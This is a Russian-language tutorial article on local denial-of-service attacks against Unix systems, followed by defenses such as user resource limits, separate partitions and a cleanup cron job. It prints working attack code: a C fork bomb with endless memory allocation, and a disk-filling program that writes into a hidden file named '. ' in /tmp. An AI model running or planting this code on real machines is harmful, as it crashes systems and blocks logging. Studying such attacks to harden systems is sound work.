Local D.o.S. attack

D.o.S.-атаки (Denial of Access – отказ в доступе) могут быть популярны, потому что особых навыков не требуют. Здесь используется грубая сила, да и только. Из локальных методов здесь можно выделить исчерпание ресурсов памяти и процессора и/или места на диске.

Первый метод реализации D.o.S.-атаки (исчерпывание ресурсов памяти) может выглядеть так (примеры приведены для *nix систем):

Листинг программы LocalDoS.c:

#include <stdio.h>

main ()

{

while(1) /*Бесконечный цикл*/

{

malloc(10000);

/*Из помощи man: calloc, malloc, free, realloc – Allocate and free dinamic memory – занимаем определённый объём памяти*/

fork();

/*Оттуда же: fork – create a child process – и создаём много дочерних процессов (порождёных процессом-родителем)*/

}

}

В данном случае надо отдавать себе отчёт, что машина перестанет подавать какие-либо признаки жизни очень быстро, и единственным методом вывести её из забытия будет даже не волшебная комбинация из трёх пальцев (Ctrl+Alt+Del), а только маленький «апдейт» к ней – Reset, со всеми вытекающими последствиями.

Второй метод – это забивание дискового пространства. Результатом может быть невозможность нормального функционирования системы и, что наиболее интересно в этой ситуации – все попытки syslogd (или её аналога в Windows NT-based) записать лог будут неудачными… Из локальных реализаций такого метода самым простым (по необходимым навыкам программирования) будет сочетание языков Си и shell:

Листинг программы Echo.c:

#include <stdio.h>

void main()

{

while (1)

printf («X»); /*Печатаем символ “X”*/

}

Листинг disk_DoS.sh:

#!/bin/sh

./echo > /tmp/.

Здесь есть маленькая хитрость – стандартный вывод пойдёт в файл с именем “. “ (то есть «точка пробел»), а потому в листинге, получаемом командой “ls” будет не очень заметен (даже при добавлении опции “ -a”).

Избавиться от таких проблем можно относительно легко – установлением ограничений на ресурсы, отводимые каждому конкретному пользователю (или группе пользователей) и организацией ОС ещё на этапе инсталляции. Итак, по порядку это будет выглядеть следующим образом:

Защищая процессор/процессоры, память и дисковое пространство от таких глупых программ, устанавливается лимит ресурсов, выделяемых пользователю. Неплохо бы не переборщить, иначе будет невозможно даже vi запустить… Лучше всего поработать от лица конкретного пользователя, посмотреть сколько ему может потребоваться ресурсов.

Защищая всю систему как работоспособный организм от последствий заполнения диска, необходимо было ещё на уровне инсталляции системы некоторые каталоги поместить в отдельные разделы (первыми претендентами туда идут /tmp, /var, /home), таким образом можно и работоспособность системы сохранить при заполнении этих разделов, и поставить разные полезные опции команде mount, например, запретить siud-ные программы… Откуда им взяться у простых пользователей или во временном каталоге…? Однако таким образом система не застрахована от невозможности вести лог. Здесь может помочь только ежечасное cron-задание в виде, скажем, shell-скрипта, который будет искать файлы определённого размера в наших отдельных разделах, и в случае нахождения их архивировать и помещать в каталог /root. Здесь стоит позаботиться о том, чтобы это задание (равно как и все другие – хуже от этого не будет) не было читаемо для всех, иначе можно обойти нашу политику разбиенияна разделы. Это может быть реализовано с помощью утилит “find”, “xargs” и “gzip”.


Понравилась статья? Добавь ее в закладку (CTRL+D) и не забудь поделиться с друзьями:  



double arrow
Сейчас читают про: